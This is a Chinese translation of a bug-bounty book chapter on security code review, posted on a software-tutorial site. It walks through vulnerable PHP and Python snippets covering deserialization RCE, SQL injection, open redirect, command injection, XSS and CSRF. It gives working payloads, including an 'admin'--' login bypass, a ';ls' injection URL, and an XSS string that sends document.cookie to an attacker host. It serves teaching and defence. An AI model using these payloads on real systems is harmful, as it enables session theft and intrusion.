LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

一文教你学会程序开发中的代码审计

admin
2024年10月5日 12:33 本文热度 469
本文由鱼丸大人翻译《Bug Bounty Bootcamp The Guide to Finding and Reporting Web Vulnerabilities》 by Vickie Li,如果侵权还请及时联系。




本文目录概览




执行代码审查

您有时会遇到您正在攻击的应用程序的源代码。例如,您可以从web应用程序中提取JavaScript代码,在侦察过程中找到存储在服务器上的脚本,或者从Android应用程序中获取Java源代码。

如果是这样,你就很幸运!审查代码是发现应用程序中的漏洞的最佳方法之一。

您可以在应用程序的源代码中直接定位不安全的编程代码来查找漏洞,而不是通过尝试不同的payload和攻击来测试应用程序。

源代码审查不仅是一种更快的发现漏洞的方法,而且还可以帮助您学习如何在未来安全地编程,因为您会观察到其他人的错误。

通过学习漏洞如何在源代码中显现出来,您可以建立一种关于漏洞是如何以及为什么发生的直觉。学习进行源代码审查最终将帮助你成为一个更好的黑客。

本章介绍了帮助您开始代码审查的策略。我们将介绍你应该寻找什么,并通过实例详细解释。

请记住,大多数时候,您不必是一名程序员才能使用特定语言进行代码审查。

只要您理解一种编程语言,就可以应用你的直觉来审查用不同语言编写的各种软件。但是了解特定目标的语言和架构可以让你发现更细微的错误。

如果您有兴趣了解本章中提到的策略之外的更多关于代码审计的信息,那么OWASP代码审计指南是一个值得参考的综合资源。

https://owasp.org/www-project-code-review-guide/


白盒vs黑盒测试

你可能听过网络安全从业者提到过黑盒测试和白盒测试。

黑盒测试是从外部测试软件。与现实生活中的攻击者一样,这些测试人员对应用程序的内部逻辑基本不了解。

相比之下,在灰盒测试中,测试人员对该应用程序的内部结构的了解有限。

在白盒测试中,测试人员可以完全访问软件的源代码和文档。

通常,bug赏金搜索是一个黑盒过程,因为您无法访问应用程序的源代码。但是,如果您可以识别应用程序的开源组件或找到它的源代码,那么您就可以将您的搜索转换为更有利的灰盒或白盒测试。



快速方法:grep Is是你最好的朋友

这里有几种可以在源代码中寻找漏洞的方法,取决于您想要检查的多么详细。

我们将从“我将拿走我可以拿走的”的策略开始。如果你想在短时间内最大化发现的bug的数量,它很适用。这些技术速度很快,而且通常会使你发现一些最严重的漏洞,但它们往往忽略了更精妙的漏洞。

使用grep命令,查找已知有危险的特定函数、字符串、关键字和代码模式。

例如,在PHP中使用eval()函数表明可能存在代码注入漏洞。

要了解如何操作,假设您搜索eval()并拉出以下代码片段:



反序列化漏洞审计

<?php [...] class UserFunction{     private $hook;      function __construct(){     [...]     }      function __wakeup(){         if (isset($this->hook)) eval($this->hook);【1】      } } [...] $user_data = unserialize($_COOKIE['data']);【2】 [...]?>

在本例中,$_COOKIE['data'] 【2】检索一个名为data的用户cookie。

eval()函数【1】执行PHP代码$this->hook。

总之,这段代码接受一个名为data的用户cookie,并将其反序列化。该应用程序还定义了一个名为UserFunction的类,当反序列化时,它会在类的实例对象的$hook属性中存储的字符串上运行eval函数。

__wakeup():当对象被反序列化时被自动调用。

此代码包含一个不安全的反序列化漏洞,从而导致了一个RCE。

这是因为该应用程序从用户的cookie中获取用户输入,并直接将其插入到一个反序列化函数中。因此,用户可以通过构造一个序列化对象并将其传递到cookie中的data参数,使unserialize() 启动应用程序可以访问的任何类。

您可以通过这个反序列化缺陷来实现RCE,因为它将用户提供的对象传递给unserialize(),并且UserFunction类在用户提供的输入上运行eval,这意味着用户可以让应用程序执行任意的用户代码。

要利用这个RCE,您只需将cookie的data变量设置为一个序列化的UserFunction对象,并将hook属性设置为您想要的任何PHP代码。

您可以使用以下代码生成序列化对象:

<?php class UserFunction{     private $hook = "phpinfo();"; } print urlencode(serialize(new UserFunction));?>

将上面代码输出的字符串传递到cookie的data字段将导致执行代码phpinfo。

此示例取自OWASP的PHP对象注入指南。

https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection.

您可以在第14章中了解更多关于不安全的反序列化漏洞的信息。

当您刚刚开始查看一段源代码时,请集中精力搜索被用户控制的参数上使用的危险函数,数据表22-1列出了几个需要注意的危险函数的示例。

这些函数的存在并不能保证有漏洞,但可以提醒您注意可能存在的漏洞。


危险函数

php

如果使用未校验清洗的用户输入会导致RCE。

eval(), assert()在其输入中执行PHP代码.

而system(), exec(), shell_exec(), passthru(), popen()和back-ticks执行系统命令。

include(),require()可以用于执行PHP代码,通过向函数提供一个远程PHP脚本的url。

unserialize()如果在未校验清洗的用户输入上使用,则反序列化不安全。

eval(), assert()system(), exec(), shell_exec(), passthru(), popen(), back-ticks (`CODE`)include(), require()unserialize()


Python

如果在未校验清洗的用户输入上使用eval(), exec(), os.system()函数会导致RCE。

如果在未校验清洗的用户输入上使用pickle.loads(), yaml.load(),会导致不安全的反序列化。

eval(), exec(), os.system()pickle.loads(), yaml.load()


JavaScript

如果在document.write(), document.writeln函数中传入未校验清洗的用户输入,会导致xss。

这些函数会写入HTML文档。因此,如果攻击者能够在受害者的页面上控制传递到函数中的值,那么攻击者就可以将JavaScript写入到受害者的页面上。

在未清洗的用户输入上使用document.location.href()时,会造成开放重定向漏洞。

document.location.href()会更改用户页面的位置(url)。


document.write(), document.writelndocument.location.href()


Ruby

如果System(), exec(), %x(), backticks(`CODE`)函数用于未清洗的用户输入会造成RCE。

如果在未清洗的用户输入上使用Marshall.load(), yaml.load()函数,则反序列化不安全。

System(), exec(), %x(), backticks(`CODE`)Marshall.load(), yaml.load()


泄露的凭证和弱加密

寻找泄露的密钥和凭证。有时,开发人员会错误地将API密钥、加密密钥和数据库密码硬编码到源代码中。

当源代码泄露给攻击者时,攻击者可以使用这些凭据来访问公司的资产。

例如,我在web应用程序的JavaScript文件中找到了硬编码的API密钥。

您可以通过grep诸如key, secret, password, encrypt, API, login, token等关键字来寻找这些问题。您还可以使用正则表达式搜索十六进制或base64字符串,这取决于您正在寻找的凭据的密钥格式。

例如,GitHub访问令牌是小写的40个字符的十六进制字符串。像 [a-f0-9]{40} 这样的搜索模式可以在源代码中找到它们。这个搜索模式匹配,只包含数字和十六进制字母a到f的40个字符长的字符串。

在搜索时,你可能会得出像这样的代码部分,使用Python编写:

import requests
GITHUB_ACCESS_TOKEN = "0518fb3b4f52a1494576eee7ed7c75ae8948ce70"【1】 headers = {"Authorization": "token {}".format(GITHUB_ACCESS_TOKEN), \"Accept": "application/vnd.github.v3+json"}api_host = "https://api.github.com"usernames = ["vickie"] # List users to analyze【2】
def request_page(path):   resp = requests.Response()   try: resp = requests.get(url=path, headers=headers, timeout=15, verify=False)   except: pass   return resp.json()
def find_repos():【3】    # Find repositories owned by the users.   for username in usernames:      path = "{}/users/{}/repos".format(api_host, username)      resp = request_page(path)      for repo in resp:         print(repo["name"])
if __name__ == "__main__":    find_repos()

这个Python程序从GitHub【2】中获取用户名,并打印出用户的所有存储库的名称【3】。

这可能是一个用于监视组织资产的内部脚本。但是这段代码包含一个硬编码的凭据,因为开发人员将GitHub访问令牌硬编码到源代码【1】中。

一旦源代码被泄露,API密钥就会成为公共信息。

熵扫描可以帮助你找到不符合特定格式的密钥。在计算中,熵是对某事物的随机性和不可预测性的衡量。

例如,仅由一个重复字符组成的字符串,如aaaaa,具有非常低的熵。一个更大的字符集的较长字符串,如wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY,具有更高的熵。

因此,熵是一个发现高随机性和复杂性的字符串的好工具,这些字符串通常是一个密钥。truffleHog是一个通过使用正则表达式和熵扫描来搜索密钥的工具。

https://github.com/trufflesecurity/truffleHog/

最后,寻找弱密码学算法或哈希算法的使用,这个问题在黑盒测试中很难找到,但在检查源代码时很容易发现。

查找诸如弱加密密钥、可破解加密算法和弱哈希算法等问题。

grep搜索ECB、MD4和MD5等弱算法的名称。该应用程序可能有以这些算法命名的函数,如 ecb(), create_md4(),md5_hash()。它也可能有带有算法名称的变量,比如ecb_key,等等。

弱哈希算法的影响取决于它们的使用位置。如果它们用于hash对安全不敏感的值,那么它们的使用将比用于hash密码时的影响更小。



新补丁和过时依赖项

如果您可以访问源代码的提交或修改记录,那么您还可以将注意力集中在最近的代码修复和安全补丁上。最近的变化还没有经受时间的考验,而且更有可能包含漏洞,看看已实现的防御机制,看看您是否可以绕过它们。

还可以搜索程序的依赖项,并检查它们是否过时。Grep搜索你使用的代码语言中的导入函数,搜索关键字如import, require, dependencies。然后看看CVE数据库中是否有漏洞在他们正在使用的版本上。

https://cve.mitre.org/

扫描一个应用程序的脆弱依赖关系的过程被称为软件组合分析(SCA)。OWASP依赖性检查工具可以帮助您自动化这个过程。此外,还有具有更多功能的商业工具。

https://owasp.org/www-project-dependency-check/


开发人员注释

您还应该查找开发人员的注释和隐藏的调试功能,以及意外暴露的配置文件。开发人员经常忘记这些资源,从而使应用程序处于危险状态。

开发人员的注释可以指出明显的编程错误。例如,一些开发人员喜欢在代码中添加注释来提醒自己未完成的任务。他们可能会写这样的注释,从而指出代码中的漏洞:

#todo 在change_password端点上实现CSRF保护。

您可以通过搜索每种编程语言的注释字符来找到开发人员的注释。在Python中,它是#。在Java、JavaScript和C++中,它是//。您还可以在源代码中搜索诸如todofixcompletedconfigsetup,  removed等术语。



调试功能、配置文件和端点

隐藏的调试功能通常会导致特权升级,因为它们旨在让开发人员自己绕过保护机制。

您通常可以在特殊的端点上找到它们,因此可以搜索像HTTP, HTTPS, FTP, 和 dev这样的字符串。例如,您可能会在代码中找到一个像这样的URL,它指向一个管理面板:

http://dev.example.com/admin?debug=1&password=password # Access debug panel

配置文件允许您获得有关目标应用程序的更多信息,并且可能包含凭据。

您也可以在源代码中寻找配置文件的文件路径。配置文件通常的文件扩展名为conf.env.cnf.cfg.cf.ini.sys.plist.

接下来,在开发中查找额外的路径、弃用的端点和正在开发的端点。这些都是用户在正常使用该应用程序时不会遇到的端点。但是,如果它们能够工作并被攻击者发现,它们可能会导致诸如身份验证绕过和敏感信息泄漏等漏洞,这取决于暴露的端点。

您可以搜索表示URL的字符串和字符,如HTTP、HTTPS、斜杠(/)、URL参数标记(?),文件扩展(.php、.html、.js、.json),等等。



详细方法

如果您有更多的时间,用更广泛的源代码审查来补充快速技术,以发现精妙的漏洞。不要逐行阅读整个代码库,尝试这些策略来最大化您的效率。



重要功能

在阅读源代码时,要关注重要的功能,如身份验证、密码重置、状态更改操作和敏感信息读取。例如,您需要仔细看看这个用Python编写的登录函数:



sql注入审计

def login(): query = "SELECT * FROM users WHERE username = '" + \   request.username + "' AND password = '" + \ 【1】    request.password + "';" authed_user = database_call(query) login_as(authed_user)【2】

此函数通过使用由用户提供的用户名和密码构造的SQL查询来查找数据库中的用户【1】 。

如果存在具有指定用户名和密码的用户,则该函数将登录到用户【2】中。

这段代码包含了一个SQL注入漏洞的经典示例。在【1】时,应用程序使用用户输入来制定SQL查询,而不以任何方式对输入进行清洗。

攻击者可以制定一个攻击,例如,通过输入 admin'-- 作为用户名登录作为管理员用户。这是可行的,因为查询将变成如下内容:

SELECT password FROM users WHERE username = 'admin' --' AND password = '';

应用程序的哪些部分很重要,这取决于结构的优先级。还要研究重要的组件如何与应用程序的其他部分进行交互,这将向您展示攻击者的输入将如何影响应用程序的不同部分。


用户输入

另一种方法是仔细阅读处理用户输入的代码。用户输入如HTTP请求参数、HTTP头、HTTP请求路径、数据库条目、文件读取和文件上传,为攻击者利用应用程序的漏洞提供了入口点。这可以帮助找到常见的漏洞,如存储型XSS、SQL注入和xxe。

聚焦代码中处理用户输入的部分,将为识别潜在危险提供一个良好的起点。还请确保检查用户输入是如何存储或传递的。最后,查看应用程序的其他部分是否使用以前处理过的用户输入。您可能会发现,相同的用户输入与应用程序的不同组件有不同的交互。



url跳转审计

例如,下面的代码片段接受用户输入。PHP变量$_GET包含URL查询字符串中提交的参数,因此变量$_GET['next']指的是URL查询参数next的值:

<?php     [...]     if ($logged_in){         【1】 $redirect_url = $_GET['next'];         【2】 header("Location: ". $redirect_url);          exit;     }     [...]?>

此参数将存储在$redirect_url变量【1】中。然后,header() PHP函数将响应头Location设置为该变量【2】。Location标头控制浏览器重定向用户到哪里。这意味着用户将被重定向到在URL参数next中指定的位置。

此代码片段中的漏洞是开放重定向(url跳转漏洞)。URL查询参数next 用于在登录后重定向用户,但是应用程序在重定向用户之前不会验证重定向的URL。它只简单的拿URL查询参数next的值,并相应地设置响应头。

甚至即使是这个功能的一个更健壮的版本也可能包含漏洞。让我们来看看这个代码片段:

<?php[...]if ($logged_in){    $redirect_url = $_GET['next']    if preg_match("/example.com/", $redirect_url){【1】         header("Location: ". $redirect_url);        exit;    }}[...]?>

现在,该代码包含了一些输入验证: preg_match(模式字符串PHP函数检查该字符串是否与正则表达式模式【1】相匹配。

想必,此模式将确保页面重定向到一个合法的位置。但是这段代码仍然包含一个开放的重定向,尽管应用程序现在在重定向用户之前验证重定向URL,但它的验证并不完全。

它只检查重定向URL是否包含字符串example.com。如在第7章中所讨论的。

攻击者可以通过使用attacker.com/example.com或example.com.attacker.com等重定向URL轻松地绕过这种保护。



命令注入/xss漏洞审计

让我们来看看另一个实例,跟踪用户输入可以给我们指出漏洞。

parse_url(URL,组件) PHP函数解析URL并返回指定的URL组件。例如,组件为PHP_URL_PATH时,它返回输入URL的文件路径部分PHP_URL_PATH,此函数将返回字符串/index.html

parse_url("https://www.example.com/index.html", PHP_URL_PATH)

您能发现下面的PHP代码中的漏洞吗?

<?php [...]
【1】 $url_path = parse_url($_GET['download_file'], PHP_URL_PATH);【2】 $command = 'wget -o stdout https://example.com' . $url_path;【3】 system($command, $output);【4】 echo "<h1> You requested the page:" . $url_path . "</h1>";      echo $output;
[...]?>

此页面包含一个命令注入漏洞和一个反射型XSS漏洞。您可以通过注意应用程序使用用户提供的download_file参数来找到它们。

假设这个代码所在页面url如下:

https://example.com/download

此代码检索URL查询参数download_file,并解析URL以检索其路径部分【1】。然后,服务器下载位于example.com服务器上的文件,文件路径匹配URL【2】download_file 的文件路径。

例如,访问此URL将下载文件https://example.com/abc

https://example.com/download?download_file=https://example.com/abc

PHP system()函数执行系统命令,system(命令、输出)将命令的输出存储到变量$output中。

该程序将用户输入传递到变量$command,然后传递到system()函数【3】。

这意味着用户可以将payload注入到$url_path来执行任意代码。他们只需要在请求页面时干涉GET参数download_file,像这样,就能执行命令ls:

https://example.com/download?download_file=https://example.com/download;ls

然后,应用程序通过使用直接用户输入【4】在网页上显示一条消息。

攻击者可以在download_file的URL路径部分嵌入一个XSS有效负载,在受害者访问精心制作的URL后将xss反射到受害者的页面上。

URL payload可以使用此代码片段生成。

<?php $exploit_string = "<script>document.location='http://attacker/cookieStealer.php?c='+document.cookie;</script>"; echo "https://example.com/" . $exploit_string;?>


练习:审计漏洞

一些技巧可能看起来很抽象,所以让我们来详解一个用Python编写的示例程序,它将帮助您练习本章中介绍的技巧。

最重要的是,审查源代码是一项需要练习的技能。您越关注有漏洞的代码,就越擅长发现漏洞。

下面的程序有多个问题。看看你能找到多少:

import requestsimport urllib.parse as urlparsefrom urllib.parse import parse_qsapi_path = "https://api.example.com/new_password"user_data = {"new_password":"", "csrf_token":""}
def get_data_from_input(current_url):     # 获取url参数     # todo: 我们想要停止把用户的密码和token放入URL中! 它真的很不安全.【1】     # todo: 我们要在更改用户的密码时要求输入当前的密码
    url_object = urlparse.urlparse(current_url)     query_string = parse_qs(url_object.query) #query_string是url的查询字符串部分     try:         user_data["new_password"] = query_string["new_password"][0]         user_data["csrf_token"] = query_string["csrf_token"][0]     except: pass
def new_password_request(path, user_data):     if user_data["csrf_token"]: 【2】         validate_token(user_data["csrf_token"])     resp = requests.Response()     try:         resp = requests.post(url=path, headers=headers, timeout=15, verify=False, data=user_data)         print("Your new password is set!")     except: pass
def validate_token(csrf_token):     if (csrf_token == session.csrf_token):         pass     else:         raise Exception("CSRF token incorrect. Request rejected.")
def validate_referer(): 【3】     # todo: 实现真正的 referer 检查! 现在当前函数仅仅只是占位. 【4】     if self.request.referer:         return True     else:         throw_error("Referer incorrect. Request rejected.")
if __name__ == "__main__":     validate_referer()     get_data_from_input(self.request.url)     new_password_request(api_path, user_data)

让我们首先考虑一下这个程序是如何工作的。它使用一个URL参数new_password为用户设置新密码。它解析URL参数中的new_password和csrf_token。然后,它将验证csrf_token,并执行POST请求以更改用户的密码。

这个程序有多个问题。首先,它包含了几个有启发作用的开发者注释【1】。注释指出,更改用户密码是由GET请求发起的,用户的新密码和CSRF令牌都在URL中。在url中传输密码是一种糟糕的做法,因为密码可能被提供给浏览器历史记录、浏览器扩展和流量分析供应商,这就产生了攻击者窃取这些秘密的可能性。

接下来,另一个开发者注释指出,更改新密码时不需要用户的当前密码!第三个给人启发的注释向攻击者指出CSRF referer检查功能未完成【4】。

您可以看到,该程序使用了两种类型的CSRF保护,两种都是不完整的。referer检查函数仅在referer存在时进行检查(检查功能也没写),没有检查referer是否来自一个合法的站点【3】。

接下来,该站点实现了不完整的CSRF令牌验证。只有csrf_token参数在URL 【2】中提供它才检查CSRF令牌是否有效。

攻击者将能够通过向用户提供一个没有csrf_token参数或csrf_token参数值为空的URL来执行CSRF来更改用户的密码,如下例所示:

https://example.com/change_password?new_password=abc&csrf_token=https://example.com/change_password?new_password=abc

代码审查是发现漏洞的一种有效方法,因此,如果您可以在黑客攻击过程中的任何时候提取源代码,请深入研究源代码,看看您能找到什么。

手动进行代码审查可能会耗费大量时间。使用静态分析安全测试(SAST)工具是自动化此过程的一种好方法。

存在许多具有不同功能的开源和商业SAST工具,因此,如果您对代码分析和参与许多源代码程序感兴趣,您可能需要考虑使用您喜欢的SAST工具。


该文章在 2024/10/8 20:56:25 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2024 ClickSun All Rights Reserved